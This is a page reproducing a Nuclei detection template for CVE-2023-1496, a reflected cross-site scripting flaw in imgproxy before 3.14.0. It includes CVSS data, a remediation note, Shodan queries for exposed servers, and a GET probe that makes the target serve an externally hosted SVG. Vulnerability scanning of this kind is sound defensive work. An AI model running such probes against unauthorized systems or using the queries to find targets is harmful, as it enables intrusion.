Imgproxy < 3.14.0 - Cross-site Scripting (XSS)

ID: CVE-2023-1496

Severity: medium

Author: pdteam

Tags: cve,cve2023,huntr,imgproxy,xss,svg,evilmartians

Description

Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.

YAML Source

id: CVE-2023-1496

info:
  name: Imgproxy < 3.14.0 - Cross-site Scripting (XSS)
  author: pdteam
  severity: medium
  description: Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to Imgproxy version 3.14.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/imgproxy/imgproxy/commit/62f8d08a93d301285dcd1dabcc7ba10c6c65b689
    - https://huntr.dev/bounties/de603972-935a-401a-96fb-17ddadd282b2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-1496
    cwe-id: CWE-79
    epss-score: 0.00091
    epss-percentile: 0.39059
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,huntr,imgproxy,xss,svg,evilmartians

http:
  - method: GET
    path:
      - "{{BaseURL}}/unsafe/plain/https://cve-2023-1496.s3.amazonaws.com/imgproxy_xss.svg"

    matchers:
      - type: dsl
        dsl:
          - contains(body, 'PC9zdmc+#test')
          - status_code == 200
        condition: and

    extractors:
      - type: dsl
        dsl:
          - content_security_policy
# digest: 490a00463044022060c02b78e8ef9b1252d466627275d2b82c13d8df00666244510f16226bc603ad0220243087ecedc5c516b3b6216d27b139d4341a74c73641152e3dd56726618323a5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-1496.yaml"

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